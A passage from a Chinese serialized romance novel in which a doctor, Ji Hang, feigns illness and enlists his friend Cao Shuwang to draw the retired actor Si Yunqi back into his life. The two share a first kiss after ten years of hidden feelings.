让司云起知道真相，知道季杭拒绝他的顾虑，知道季杭是因为他要走上演员这条路而隐瞒喜欢十年。
那司云起要怎么看待他的十年。
又要怎么原谅这十年呢。
……
曹书望这才知道，季杭眼中没被他看懂的情绪，是永远无法被弥补的遗憾。
时光不逆流，他们回不到十年前。
遗憾轮转了十场人间四季，因为永远无法消除，索性不把司云起拉进来。
季杭想，他一个人遗憾就够了。
“那你是怎么打算的？”曹书望明白了，不再催促，“快点或慢点，总也得走到一起去吧。”
静默许久后，曹书望听到季杭的声音。
“要走到一起，要……在慢慢中，快点走到一起。”
曹书望松了口气，低头看手机，“成芜问我你咋不回消息，估计也担心死了，听你说这话我就放心了，我给她回个电话去。”
不过曹书望没有听懂最后一句。
在慢慢中快点走到一起，这是什么意思？
他给成芜讲了，成芜给他通俗地解释了一遍，“书望哥，这话多么好理解啊，意思就是要给云起哥营造出一种我哥在慢慢喜欢上他的感觉，但是进展要快一点。”
曹书望：“……还是有点难理解。”
“要不是我明天开组会，”成芜拍大腿，“我直接一脚油门冲去当我哥的军师。”
“你老实待着吧，我也行，”曹书望信誓旦旦。
但是过了四天，曹书望见季杭那边一点动静也没有。
他不由得好奇，这算是慢慢了吧，那快点走到一起的快点，体现在哪里？
趁着午饭的时间他给季杭打了个电话，季杭给出了回答：“这几天工作忙，暂时没时间想谈恋爱的事情，我看着后天有雨，正好我后天休班，下雨再说吧。”
“？”曹书望，“为什么下雨再说？”
季杭挂了电话，忙碌中空了半分钟，掰着手指数时间——
距离他用很决绝的语气说他永远不会接受司云起，已经第五天了。
也不知道等到第七天的时候，司云起能不能把这话淡忘点……
休班这天，果然下了不小的雨。
前一晚是夜班，按以往季杭得补觉，但他回家后站在窗边看到下雨后，直接拿上手机出了门。
他搭车到另外一个区，下车后特意走慢，特意找了个不好躲雨的屋檐。
遇到一个小卖店，门口罩着挡雨棚，摇椅上躺着老太太。
老太太叫住季杭，“小伙子，来我这店里躲会儿雨吧。”
季杭浑身湿透了，拒绝道：“谢谢阿姨，不用了”。说完直奔前面不远处窄小的屋檐。
走到后他给曹书望打电话。
“书望，下雨了，我在外面回不去。”
“哪儿啊，今天雨大，我这儿清闲，我接
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你去，你给我发个位置。”
“不用，”季杭说，“我把定位发给你，麻烦你以你的口吻让司云起来找我。”
曹书望：“……”
“手机号我发给你，别说是我给的，也别说是我叫他来的，”季杭重复，“别说。”
曹书望：“？？？”
这就是在慢慢中快点走到一起吗？
他终于明白是什么意思了，合着就是季杭自己创造条件，让司云起好好表现，他顺势装成被感动然后爱上司云起。
电话挂断后，微信收到了司云起的手机号，还有一个定位。
还跑到隔壁区去，曹书望暗道，季杭开始和十年前一样神经了。
他很快给司云起打去电话，也不知道是不是陌生号码的缘故，没被接听，他便转成发短信，简简单单四个字：季杭有难。
下一秒电话就回拨过来了。
曹书望语气很是着急，添油加醋道：“司云起！你快去接季杭啊！外面下这么大雨，他晕倒了！”
意识到有哪里不对，曹书望抓紧补充：“他晕倒前给我打的电话，我听到他摔倒的声音了，啪的一声可响了！你快去，我这边忙得很，好几只小狗动手术呢！啊，哦我来了我来了，不和你说了，护士叫我呢，地址我发给你了啊，你快去！”
照着地址，司云起一路疾驰，稳稳停在屋檐下避雨但是不小心把全身都淋湿了的季杭身前。
司云起下车后伞没来得及撑起，快步跑向季杭，撑起伞遮在他头顶。
季杭眼神清澈无辜，茫然无措，“司云起，你怎么来了？”
司云起担忧地把他全身看了一遍，“曹书望告诉我的，他说你晕倒了。”
“……”曹书望你，干得漂亮。
季杭绷紧嘴唇，默了又默，一个字一个字往外崩，“是、晕了一会儿、又自己醒了、爬、爬到这儿了。”
司云起更心疼了，护着人上车，直接开往医院。
季杭浑身湿透，看着被自己浸湿的座椅，说：“其实你不用来的，雨停了我自己回去就好。让你跑这一趟，不好意思。”
司云起看了他一眼，心疼到无以复加。
“不用去医院，”季杭说，“我大概是有点低血糖，刚上完夜班，回家吃点饭就好了。”
司云起没有强迫他一定去医院，现在回家洗澡换身干衣服更急些。
到季杭家后，他先下车撑开伞，护着人走到单元门口。
见司云起有就停在这里的趋势，季杭适时腿软了下，完全靠在司云起身上。
然后他慌忙站直，“对不起，刚才头晕了下，没站稳，你快回去吧。”
司云起这还怎么回去，于是季杭“被迫”被司云起送进了家。
到家后，季杭先去洗澡，出来后他看着外面更瓢泼的大雨，心里窃喜。
转头时不露声色：“雨太大了，你现在回去不安全，先别走了。”
然后他找出一身昨晚刚买好的睡衣，递给司云起，说：“网上买的，我穿大了点，是干净的，你去洗个澡吧，别感冒了。”
隐约好像有哪里不一样了，司云起说不上来。
季杭让他留下是合理的，让他去洗澡也是合理的，但就是……
司云起接过睡衣，走进浴室。
出来时雨已经小了很多，季杭刚下夜班需要休息，他也不用人催，自己就要走。
去拿衣服的功夫，季杭恨铁不成钢地看着窗外，心一横，接了杯热水，拿出体温计放在热水上方。
温度嗖的一下爆表，季杭看了一眼。
42.7°。
人短时间内怎么可能烧成这样，这不合理。
在司云起拿好衣服走过来的同时，季杭用力甩温度计。
“怎么了？”司云起注意到他的动作，看清手里的东西后，走近，“发烧了？”
季杭顺势抬起温度计，余光瞥见线条竟然降到了35°。
……好灵敏，下次换个不好甩的。
司云起已经走到他身前，温度计也暴露两人视线中。
季杭索性把温度计拿给他看，装着嘴硬的样子实则欲拒还留，非常符合他的人设。
“没事，温度不高，已经甩下去了。我能照顾好自己，你回去吧。”
94.十点点
司云起的手猝不及防抬起，朝着季杭的额头探过去。
季杭体温正常得很，担心露馅，往后退了一步。
司云起的手便静止在半空中，须臾，不动声色地垂落，转而问：“家里有退烧药么。”
季杭点头，说有。
“那，”司云起观察着季杭的表情，问：“你喝药去睡觉，我在客厅。等你退烧后我就走，可以么。”
听到这话季杭有点难过，但他不能表现出来。
只能蹙眉犹豫几秒，很为难地答了句好。
他扮演着司云起眼中的他，头一次觉得，演戏真的是很难的事情。
所以他在卧室里盘着腿想，到底该怎么不明显的和司云起产生连续不断的交集呢。
想来想去，外面的雨已经彻底停了。
季杭走到窗边，突然想到。
租的这房子，就快要到期了。
如果和司云起住在一起，那进展肯定会更快。
起初住这里就是图离医院近，现在他的生活里不是只有工作，远近也就不是最重要的因素了。
他翻了下和房东的聊天记录，还有三个月到期。
他打字和房东说不准备续租了，让房东随时带人看房。
房东回消息也很快，是个很体面的中年男人，先是表达了这些年对季杭这个省心租客的配合和感谢，随后表示他老家有个侄子要来这边找工作，正好把房子给侄子住了。
季杭问侄子什么时候过来，房东说，等三个月之后吧。
意思就是季杭租房到期搬走后，侄子就直接住进来。
季杭随即说，马上要到毕业季了，让侄子早点住进来，他会在五天之内搬走，房租也不用退。
房东惊了，连连说不用。
季杭连连说要的，说毕业季是招聘旺季，早点让侄子来安顿好，好好找工作。
房东感动死了，问季杭打算搬到哪里，他在郊区还有套房，可以便宜租给他。
季杭说不用，他已经找好住的地方了。
说着话走到门口，他拧动把手，刻意压低嗓音，说话瞬间就哑了，还有那么点虚弱。
房东纳闷：“你是生病了吗？”
季杭已经走进了司云起的视线里，他咳嗽两声，缓慢地去倒水，答：“好的，五天内我就搬出去。”
房东：“……”
what？
“你生病很严重吗，听着你的声音突然就变了。”房东说。
季杭答：“我理解，您随时带侄子过来就好。”
房东：“……”
不等房东再问什么，季杭说：“那就这样，等我收拾好后给您发消息，您来验房。”
说完立马挂断。
他脚步虚浮，头发是出卧室前故意被抓乱的，捧着一杯水，状若不经意间转身朝向司云起。
果然，他听到司云起问：“五天内就要搬走，这么着急么。”
季杭装：“你怎么知道？”
司云起沉默。
季杭绷紧下颌，心道，装过了。
他转移话题，“租的房子要到期了，房东家有亲戚要住过来。”
司云起“嗯”了一声，说：“这么突然，你还没有找好房子吧。”
“没，”季杭说，“要是找不到，我先去书望那住。”
司云起看了他几秒，“其实我家离你的医院很近。”
本以为司云起的房子会很远的，季杭都做好了以后上下班通勤时间两三个小时的准备了，乍然听到司云起这样说，季杭顿了下，顷刻又明白了司云起的用意。
他可能是……想离自己近一点。
季杭却只能拒绝，“不用了。”
司云起明白，季杭大抵是不愿意和自己住在一个屋檐下。
“那我陪你看房子，可以么。”司云起问。
季杭想起来医院附近常有房源出租，房东直租，能租短期，广告贴在医院的墙上或者电线杆上，常撕常贴。
只是房子大多破旧。
他还记得集中出租的小区名，便说：“我想现在去看。”
司云起说：“我陪你。”
开车到了季杭说的地方，只看外观就能知道里面什么样，也没有电梯，单元门前面的垃圾堆了一团，没人清扫。
偏偏季杭还下车，看着单元门上贴的房东直租就要加好友。
司云起皱着眉拦住他，说：“你做什么。”
“约房东看房，”季杭已经照着手机号搜到了好友，就等申请添加了。
司云起拿过他的手机，拽着人的手腕推上车。
车门没关，季杭仰头看着司云起，问：“你又做什么。”
司云起压抑着情绪，“我的微信你不加，那个陌生人的微信你说加就加？”
十年前季杭问过的话被司云起原封不动问了回来，季杭有一瞬的恍惚——
就好像有些事真的能重新来过一遍似的。
他学着十年前司云起的回答，“加他是为了租房，加你是为什么？”
司云起没再接话，直接开车把人带到自己家。
离医院约莫七八公里，通勤确实不算远。
车停到车库，司云起把季杭带上电梯，摁楼层后看着上升的数字，还是没有说话。
梯门打开，司云起示意季杭先出去，自己跟在后面。
房型是大平层，一梯一户。
司云起解开门锁，点了几下后，说：“录入指纹。”
季杭没动。
司云起耐心地等，“你先来住，找到合适的房子再搬出去，我不住这里，录上你的指纹后，我会把我的指纹删掉，密码你改。”
“不用这样，”季杭垂眸，“房子哪有不让主人住的道理。”
司云起道：“曹书望那离你医院太远，我不可能让你随便找个地方住，你来这里，我不……”
“那一起住吧，”季杭忽地开口打断他的话。
没料到季杭会做出这个决定，司云起目光中带了些诧异。
“你租给我，”季杭说，“等我找到合适的，会很快搬出去。”说完把指纹录了进去。
“房租多少？”季杭问。
司云起说：“没想好，等等再说吧。”
“好，”季杭说，“加个微信，到时候转给你。”
司云起愣了下，季杭已经点出二维码让他扫了。
这下不光司云起觉得不对劲，季杭也觉得他表现得……
太不像司云起视角里的季杭了。
他慌忙找补：“只能麻烦你段时间，我会尽快搬走的。”
不等司云起说话，他转身往外走，说：“我先回去了。”
司云起跟在身后，走到电梯口被拦住。
“你不用跟我去，我已经不烧了，能自己回家。”
他回到家开始收拾行李，接到曹书望打来的视频。
“我看看进展，”曹书望打趣道。
季杭给他拍两个行李箱，“喏，进展。”
“我去，”曹书望嗓门一下子拔高，“同居了啊这就，你那小地方，他睡哪儿啊，和你睡一张床？杭，是我小瞧你了。”
季杭晃晃手指，“不是他住进来，是我住他家。”
曹书望更惊讶了，“你！你你你！就这么羊入虎口了？”
“什么羊入虎口，这叫朝夕相处日久生情，”季杭说，“到时候你来帮我搬家，然后我提要去你那里住，你拒绝我，说不方便。”
曹书望问：“为啥啊？”
“我总觉得我表现的太积极了，他好像能感觉到，你帮我演一演。”
“……神经。”
“谢谢。”
当晚季杭找出那张被胶带粘满的纸，还有签名照。
搬家的时候担心丢，季杭把写着“我喜欢你”的纸放在放手机壳后面，把签名照放在了冲锋衣内口袋里。
毕竟是要搬进司云起家，不能乱放。
隔天睡醒，头有点昏沉。季杭没当回事，去上班了。
一天上完，下班的时候只觉得很困，趴在桌上就要睡。
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同事走进来，看到他脸颊有点红，状态也不好，拍了拍他，说：“是不是病了？”
季杭刚要摇头，同事摸了摸他额头，说：“这么烫啊，发烧了，走，带你去打一针。”
听到发烧二字，季杭站起身去换衣服，说：“不用不用，我着急回家。”
“你还是着急看病吧，”同事说他，“都烧傻了。”
季杭头重脚轻，好说歹说，总算是没被押到发热门诊。
回家的路上，季杭再次拨打曹书望的电话。
“书望，我发烧了。”
“你今天不是上班？去打一针呀。”
“不，”季杭说，“你帮我告诉司云起。”
曹书望：“……你真有病。”
季杭点头：“是啊，真的有病，你快告诉他，别说是我让你说的。”
曹书望挂断这边，打响那边。
“司云起，”曹书望说，“季杭发烧了，我没时间过去，因为我这儿的小狗也发烧了。”
也不知道司云起听完自己的解释没，反正挂得很快。
然后他撇开手机，没忍住笑了。
季杭回家之路走得磕磕绊绊晃晃悠悠，到家楼下时司云起也刚好赶到。
这时间点也是让季杭卡准了。
这回发烧，季杭才觉得上次他装的不像。
因为他压根没故意，直接就栽进了司云起怀抱里。
意识模糊中他上了车，后来司云起开车门，征求他的意见：“抱你还是背你？”
季杭说：“我、自己、走。”
司云起：“那就背吧。”
眸光看到这是医院，季杭躲开司云起的手，蹙紧眉心，“你戴口罩。”
等司云起戴好口罩后，他才跟人下了车。
司云起带他去的私立医院，抽血后等了几分钟结果，之后安排了病床输液。
季杭很困，强撑着没睡，看着床边司云起的轮廓，看了很久。
司云起给他喂了口水，低声说：“睡一觉吧。”
季杭“嗯”了声，眼皮还是半掀。
过了会儿，司云起说：“我以前怎么不知道，你睡觉不合眼？”
和一个人揪扯十年的好处是，你总能在听到某一句话时，想起那段过往。
回忆在脑海中追逐，片段交替播放。季杭有点难过，又很困，但司云起在身边他又舍不得睡。
最后呓语：“在沙滩你背我时，问我……”
“什么？”这人的声音又哑又低，司云起听不清楚，凑近了些。
“…你问我，把我背回去，能喜欢你一点么。这次怎么不问了……”
司云起心尖被什么东西掐了下，不疼，但很难平静。
过了几秒，司云起说：“这次该问什么？”
季杭抿紧嘴，不说话了。
司云起哄着人，“这次想要我问什么，季杭，告诉我。”
季杭意识不清，被哄诱着，颇有几分自暴自弃的意思，因着嗓音哑，便不明显，“问照顾我，能喜欢你一点吗。”
司云起吞咽一口虚无，怔愣许久，直到季杭已经熬不过困意合上眼睛，他才轻声问：“在你发烧的时候照顾你，能喜欢我一点吗？”
季杭不明显地睁了下眼，嘴角慢慢扬起，自以为藏得很好，说：“一点点。”
简单三个字足以贯穿司云起的心脏，司云起这才意识到，他觉得季杭有些变化并不是他的错觉。
这个变化伴随着他退圈的消息发生，即便季杭再能隐藏，依旧是能被察觉到的，只是他太迟钝。
如果不是季杭没精力伪装，也许他还要等很久才能发现。
他按捺着情绪，又问：“多少才能彻底喜欢我呢？”
季杭眼睛紧闭，抿着嘴唇，眉心动了动，像是在思考。
但很快，季杭说：“十点点。”
“好多啊，”司云起呼吸有几分抖，轻声说完后，等着季杭的回答。
季杭轻轻“啊”了一声，很好商量说：“那这次算你三点点。”
95.吻了
这两次曹书望的电话，司云起没能起疑心，说到底还是太担心季杭。
此刻他才意识到，如果没有季杭的知情和授意，曹书望是绝不可能给自己打电话的。
有个念头如笋破土般悄然冒尖，稍一想，就刺的他心头汩汩冒血。
如果……
如果占据了他十年的记忆是假的，如果季杭喜欢自己……
过往弥漫成浓雾笼罩住司云起，遮在他眼前，挡在他心里。
大雾四起，方向不辨。
他不停地走，与回忆迎面相撞。
——晕车的季杭辗转几趟车，在寒冬去找试镜的他。
那时的季杭少年意气，站在二楼，站在光里，大声昭告赢的人是他。
——十年后季杭戴着口罩上了综艺，全身脱力的情况下，明明吐槽他几句就能过关，却宁愿做200个俯卧撑也不肯说他一个字不好。
那时的季杭夺过小旗，当着全网观众的面，再一次大声呼喊，赢的人是司云起。
——十年前季杭在全校师生前，澄清和他的恋爱绯闻。
——十年后季杭在综艺里，装着和他不熟的样子，把所有工作人员都骗了过去。
——十年前季杭不喜欢被强迫去做什么事，可他事先没有和季杭商量，擅自做主带人回自己家，又在聚会上当着别人的面做出亲密举动，季杭都没有表现出反感。
他们之间唯一有分歧的事情，就是他在准备校考时让季杭和他一起去北京。
——十年前季杭送他离开，将他手机里关于“季杭”的所有删除干净，撂下诀别的话后再也不见。送自己离开的时候季杭联系的不是剧组，而是许凡君……
然后又在山顶，把祝愿他的话刻在许愿牌上，牢牢绑紧在锁链上。
——十年中，季杭建立一个营销号，取名为“借我瓶水”，搜集各种照片，随时准备给他反黑。
……
他在雾中寻不到方向，转头回身时，看到的都是季杭。
一帧一幕，只有季杭。
说的是不爱他的话，做的又都是爱他的事。
其实是有个转折的，他带季杭回老家见过徐不凡，在那之后季杭就开始不一样了。
之前他一直以为季杭匆促送他离开是因为接受不了自己的喜欢，迟钝如他，过了整整十年，才意识到——
分离这件事，并不是无情的专属。也有人会因为太爱了，选择分离……
司云起静静地凝视着病床上熟睡的人，心里钝疼。
他不敢想，季杭每每口是心非的时候，该有多么难过。
这种难过他没有体会过，甚至到这一刻才发觉。
他也很明白，单靠问季杭去了解这十年的始末几乎不可能，季杭什么也不会说。所以他要自己找到真相。
输完液后，他带季杭回了家。
把人放在自己的床上，他守了半个小时，拿起季杭家的钥匙就出去了。
到半夜，季杭醒来发现自己不是在医院，而是全然陌生的环境。
头也有点疼，他坐起身，只记得自己被司云起带去医院，后来就都没印象了。
这不是医院，也不是自己家，难道是司云起的房间？
房间里留有小夜灯，浅浅晕开光影。
他光脚走到门边，打开后客厅黑暗，空无一人。
许是发热还没完全退，面对着空旷的房间，他忽然就有点失落。
就在这时，门锁响了一声，随后大敞，楼道里的光投在客厅。
司云起抬着两个行李箱，轻轻放下，没发出一点声响。
放好后，他抬眼看向卧室，看见站在门边的人。
“是我吵醒你了吗，”司云起走近季杭，抬手摸这人的额头。
他是知道的，季杭已经退烧了。
这次的触碰，只是在观察季杭的表现。
季杭先是站在原地，任他的手背久久落在自己额头，刚醒的失落稍许减缓，忽地意识到什么般，后退了一步。
司云起想，季杭又要装了。
他没给季杭机会，手垂下指向门口，邀功：“行李都搬过来了，奖励呢？”
“什么奖励？”季杭不明所以。
“你都忘了么，”司云起看向季杭，“输完液我送你回家，你不回，抱着我要今晚住过来。”
季杭心一惊，立刻否认：“不可能。”
“你怎么醒了就赖账，”司云起不满道，“你亲口说的，让我把行李搬过来，还会给我报酬。”
“我急着、我急着搬过来是因为房子马上要还给房东，”季杭顺着司云起的话胡扯，“又发烧了不清醒，才让你去搬的。那、麻烦你了，报酬算在房租里吧，我转给你。”
“不行。”司云起道。
“那我现在给你，”季杭转身就要去拿手机。
却不料司云起忽地抓住他的手腕，“去哪给。”
季杭：“我去拿手机。”
司云起扬着尾调“嗯”了一声，说：“用不着吧。”
季杭又不明白了。
楼道里的声控灯熄灭，原本被映亮的客厅再次陷入黑暗。
“那、”季杭话还没说完。
司云起攥着他手腕的力气收紧几分，嗓音响在他耳边，“你亲口说的，报酬是亲我三下。”
季杭瞪大眼睛，“不可能。”
“是真的，”司云起说，“本来你说要亲我十下的，我说太多了吧，你又改口说那就三下，我答应了。”
季杭沉默半晌，认真道：“司云起，我是病了，不是醉了。”
司云起轻笑，摁亮灯时手心在这人眼前挡了下，过了几秒把人拉到沙发那坐下，摊开左手掌心，说：“我有证据。”
只见司云起掌心一小块红印，季杭蹙眉问：“这是什么？”
这是司云起找出的红印泥，在出去搬季杭的行李前，他在季杭的食指上点了一下，又摁在了自己掌心。
“我当时也不信，”司云起煞有介事，“说你一定会反悔，你为了给我保证，把指纹盖在了我掌心。”
季杭看看司云起的掌心，又摊开自己的双手，果然，右手食指还留有红痕。
他又沉默半晌，然后说：“司云起，我是不是把你的被子也染红了，我去给你洗被子吧。”
司云起：“……那不要紧。”
季杭站起来，司云起垂着眼眸落寞道：“我说你会反悔，你向我保证不会，也按指纹了，没想到……”
季杭觉得自己有点不是东西。
司云起很委屈：“你向我保证过的……”
“好好好，”季杭被他哄得不知南北晕头转向，意识还没跟上脑子，人已经俯身，落在司云起额头一个吻。
吻完后他彻底清醒了。
完了完了。
季杭组织着语言，磕磕绊绊解释：“我只是、只是给你报酬，司云起，这只是报酬……”
季杭的吻落在额头，不知怎么，莫名让司云起想起十年前，季杭说纱布歪了给自己正纱布的时刻。
一样的轻。
司云起思绪回拢，看着面前慌张解释的季杭，愈发确定了那个事实。
他忍着心疼，面带笑意，说：“不对。”
季杭：“对的，这真的只是报酬。”
司云起摇头，“怎么是额头，亲人不应该亲嘴么。”
季杭冷静下
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来。
司云起说：“我要售后，假一赔十。”
真好，司云起又和之前一样没脸没皮了。季杭开心之余，心道，假一赔十，还有这好事儿？
司云起再磨一磨闹一闹吧，到时候自己装被他闹烦了，趁机亲一下。
非常合理。
可惜他不能表现出来，还是露出为难的模样，说：“司云起，图片仅供参考，请以实物为准。”
司云起思量几秒，站起身，说：“那好吧，你是商家，你说了算，还欠两个。”
季杭同他对视，点了点头。
不是，司云起，你怎么不再坚持坚持了？
后来季杭发现，不仅这会儿司云起不坚持，后来的几天里，司云起也跟忘了这件事一样。
这事儿是能说忘就忘了吗。
偏偏季杭不能主动提，更不能表现出来，他只能在不经意的某刻，不经意间买回来一盒红印泥，又不经意蹭在自己指尖，最后不经意间碰到司云起的掌心，
不经意道：“不好意思，把你掌心弄脏了。”
以此试图唤醒司云起的某个记忆。
彼时司云起正在收拾行李。他已经退圈了，完完全全转幕后，但之前进行中的综艺还是要拍完，马上重新启动继续拍摄，隔天司云起就要走了。
他摊开掌心看了看，大度道：“不碍事，我一会儿去洗。”
季杭绷紧下颌。
行李箱被放在一边，司云起走进洗手间，门虚掩着，流水声传出来。
季杭抿紧嘴唇。
司云起打开洗手间的门，手背上还挂着水珠。
季杭心想，他一直就不是个会欠人情的人，该还的必须得还，更别说他都已经和司云起摁手印了，更要还。
欠债还……还吻，既然是定下了，就天经地义，这很合理。
所以他走上前，挡在洗手间门口。
正直不阿道：“司云起，欠你的报酬不能不还，不然我心里过意不去，但是你要出去几天，我觉得等你回来我肯定会忘，就、就现在还你，两下。”
说完他带着剧烈跳动的心亲了过去，因为紧张，也因为不好把握分寸，他本想亲侧脸的，偏了点，亲在了司云起嘴角。
然后他觉得他心要跳出来了，第三个可能不太行了，喉间哽了几下，说：“下个晚……”
司云起忽地抬手扣住他后颈，季杭被不可驳逆的力道贴了过去，下一秒，司云起吻在了他唇间。
季杭脑海一片空白，怔怔地看了司云起好久，最后闭紧眼睛。
不知过了多久，司云起分开，和他额头相抵。
颤抖的呼吸流转在他们之间，季杭还能分神去想，虽然是要在慢慢中快点走到一起，但还是太快了，司云起很聪明，不能让他察觉到。
他欲脱离颈后那只手的控制，挣扎几下后无果，他用气音说，：“这、这只是报酬。”
司云起“嗯”了声，并不拆穿他，也不急着追问真相，只是说：“我的劳动所得，合理合法。”
说完扣在季杭后颈的掌心移开，蹭了下这人的眼尾。
季杭垂眸间，看到司云起的掌心还留有被自己蹭上去的红痕。原来司云起并没有把它洗掉。
带着他指纹的掌心又贴在他下颌，带着他微微仰头。
司云起又吻了过来，没有更深入，只是一下一下的啄在他唇间，含着他的唇轻吮。
微微急促的鼻息混在一起，他们唇贴着唇，共享对方的心跳，相爱十年后，接了第一个温情的吻。
大雾弥漫了十年，至此终于散尽。
司云起看到大雾后是明亮闪耀，那是季杭用爱堆砌出的3650多个艳阳天。
96.能
“我们现在算什么关系？”
吻结束后他们额头相抵，司云起问出了这个问题。
季杭思维意识在脑海乱成一团，呼吸轻轻抖着，“你先别问，让我理理。”
司云起道：“不急。”
不仅没有追问季杭，司云起还留出了单独的时间。
隔天一早，李达来接司云起，准备去综艺拍摄地。
季杭在房间里听到司云起离开后才打开门，思绪越来越乱。
不对的，不该这样的，太快了。
打从一开始，他发烧的那晚，第一个吻就不该出现。
他太不清醒了，有了第一个之后短暂考虑过会不会露馅，却也只是短暂考虑。像是食髓知味，企图和司云起更快地拉近关系，用偿还报酬的借口麻痹自己，就有了第二个，第三个。
前不久冷脸多次拒绝司云起，现在又这个样子。
他在司云起的眼中，一定很奇怪。
季杭摁了摁额头，无语地想，更难破的局出现了，关键这局还是自己设的。
亲都已经亲了。现在是前进不得，后退不了。
季杭回想起那一刻，潮红泛到耳廓，不自觉地摸了下嘴唇——
司云起的唇好软，刚贴过来时冰冰凉凉的，又在须臾间温暖，吮得他全身发麻……
手机振动的声音打破了他的回味，季杭看向屏幕，是曹书望的电话。
接通后，曹书望问：“进展如何了？”
季杭静了几秒，犹豫着开口：“该怎么和你讲呢……”
“？”曹书望好奇心起来了，“什么叫该怎么和我讲，这、这进展要是正常，你肯定不会说这话。”
“没有，”季杭说，“我组织一下语言。”
“说呗，”曹书望催促，“跟哥们组织啥语言啊。”
季杭很认真地问：“书望，你之前被肖蕊拒绝的时候，什么想法？”
曹书望“诶”了声，“你讲你就讲你，提我伤心事儿干嘛！”
季杭：“我请你吃饭，你最想去的那家餐厅不是预约不上么，我同事有熟人。”
“我这心，铁的，”曹书望拍拍胸脯，“哥你随便戳，一点儿不疼。”
“我就想知道，你刚被肖蕊拒绝，没几天，她又突然找你，不算很明显地、示好？这个词不太准确……”
“行了我知道了，你就想知道现在司云起怎么看你的，是吧？”
季杭叹了口气，“是。”
曹书望笑了笑，倚在二楼窗户边上，刚目送走一辆保姆车。
那辆保姆车上的人，一大早打来电话，说在医院门口等着他。
曹书望寻思人看病也不用来这儿啊，嘴里吐槽着，从床上滚起来连脸都没顾上洗就冲来了。
然后那位在医院转了一圈，问：“这些天动手术的狗和发烧的狗都挺多。”
睡懵了，曹书望还以为他反讽呢，说：“这几天确实没生意，怎么，你又要介绍朋友来我这儿了？”
说完后他看到司云起瞥过来一眼，瞬间清醒。
忘了，前两次帮季杭联系司云起的借口一个是狗动手术另一个是狗狗发烧。
司云起已经明了，他便直接问：“十年前季杭突然送我离开，我总觉得有我不知道的事情，你能告诉我么。”
曹书望诚实道：“这事儿我不知道，那天我过去，没见着你，还在心里骂你来着。”
可能是真话，司云起想，他又问：“那这十年里，季杭提过我么，他对我……”
曹书望打断了他的话，“我也不知道，司云起，这个你应该去问季杭。”
“他什么也不会说，”司云起道。
曹书望心道，季杭不会说，难道自己就会说了吗，自己多靠谱啊。
这终归是他们两个之间的事情，曹书望作为局外人，自然一切都看得清，但正如季杭所说，十年太长。
让两个相爱了十年却对此不知情的人走到一起，而不去触碰过往的十年，是件不可能的事情。
“你来找我是发现什么了吗，”曹书望问。
司云起说：“季杭和以前不一样了。”
曹书望“哦”了一声，了然：“我明白，在你们的同人文里，这叫ooc致歉。”
司云起一记眼刀：“……”
“好好好，你说。”曹书望双手合十。
司云起说：“我能感觉到，现在的他才是真正的他。”
“那不就够了吗，什么样的他不也是你喜欢的吗，”曹书望说。
“可我想知道，”司云起敛了眸光，面色平静，唯有垂下的眼睛里有片刻的心疼没遮住，“他这十年是怎么过的。”
司云起已经断定了季杭喜欢自己的事实，时间绝不是在自己退圈后，一定要早。
到底早多少……
好在他们之间存在着时间的源头，最早是十年前，然后一点点接近现在。
司云起只希望能近点，再近点。
他甚至宁愿季杭从来都不喜欢他，也不愿意季杭明明喜欢，却只能生咽下去，装出一副不喜欢的样子口是心非。
那样一定很难受，一定一定，比他爱而不得要难受一万倍。
“怎么过的，”曹书望笑了，“好好过的呗，季叔叔那病三年多，季杭医院学校两头跑，把季叔叔照顾的多好，大学奖学金没断过，每回拿到奖学金就请我吃饭，还有司云起，你都不知道二院有多难进，季杭可牛了，同龄人中我唯一的偶像。”
无意增加他们之间的遗憾，曹书望简单提起，说完后才意识到，季杭的十年，就这样被他用简单枯燥的几句话概括了。
高中时候他们憧憬未来，期待着看山看海看世界，期待着走遍中国，成为自由的人。
曹书望觉得自己也做到了点儿，但季杭没有。
起初季杭被困在季满谦、学业和司云起的三角形中，后来季杭被困在季满谦、工作和司云起的三角形中。
他这十年寡淡无趣，面对再大的挫折也没情绪，明明脸上也时常挂着笑，却好像是个无喜无悲的人。
只是偶尔，他看到季杭盯着手机长久地出神。
有次高中同学聚会，他硬拉着季杭去了。
聚会上很多人提起司云起，说这位真的成了巨星，又问季杭和司云起还有联系没，季杭一杯一杯地喝着酒，喝得烂醉，躲过所有关于司云起的追问。
后来季杭安静地靠着椅背，目光晕眩模糊，身旁曹书望对他说：“酒瓶转到你了，还能答吗？”
他迟钝地“啊”了声。
路珂成熟了不少，揽着他的女朋友，大声说：“我女朋友关于爱情的调查问卷，问你，你喜欢的人做过什么最让你遗憾的事情？”
季杭想了想，眼眶忽然就红了，但包间里灯红酒绿，别人都没看清。
他回答说：“他喜欢我。”
别人唏嘘一片，这答案不像是遗憾，倒像是季杭在显摆。
很快，季杭摇了摇头，说：“不对。”
人们又看向他。
季杭说：“不对。”
可到底为什么不对，他始终没再解释。
那时的他又安静下来，看着身边的人高声欢笑，曹书望凑到耳边问：“季杭，你怎么了？”
他摇摇头，酒精的作用让他有点迟缓，愣了好久才悄悄说：“书望，他喜欢我，我不遗憾的。他没有让我遗憾过……可是我还是觉得，我真的好遗憾……”
前言不搭后语，却是那些年里，季杭少有的情绪显露。
……
“知道了吧，”曹书望告诉司云起，“他挺好的，我知道你也挺好，这样就对了。再相见就该两个人都好好的。”
司云起离开时，曹书望补了句：“你说他和以前不一样了，我倒是觉得，和以前一模一样。”
司云起脚步顿住。
曹书望说：“我说的是和十年前。”
司云起临上车前，隔了挺远，和他招了下手，口型好像是句“谢谢”。
上楼目送司云起的车开走，曹书望又给季杭打了电话。
这俩人天生就是一对，听到季杭思考司云起现在是怎么想的，曹书望只觉得他们真的就天生一对。
“司云起能想什么，”曹书望笑道，“满脑子想和你在一起吧。”
“我也想……”季杭说，“我实在是忍不住，我只想爱他，就导致进展太快，我又担心他猜到这十年……”
我不想让他遗憾。
曹书望真诚祝福：“你俩活该一对儿。”
季杭说：“书望，如果我告诉你，有两个人没有确定关系，但是要接吻，你觉得
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怪不怪？”
曹书望：“纯路人，我觉得不应该亲。”
季杭又说：“那要是直接亲了呢？”
曹书望：“纯朋友，我觉得该谈了。”
季杭：“……”
“这就谈了？快不快啊，”季杭自言自语道。
曹书望：“快？那你要不问问这俩人，问他们有没有觉得亲的有点提前了呢。”
季杭：“……好的挂了我去问问。”
不纠结了，季杭想。
亲都亲了，与其让司云起琢磨自己的心思，不如直接拉进度条。
季杭从朋友圈里看到小悠发的动态和地址，等到下一个工作日直接飞了过去。
到的时候是晚上，嘉宾们还在拍摄，他走过去时小悠先看到了他。
“季医生！”小悠低呼，“司老师他们还在拍摄，我……”
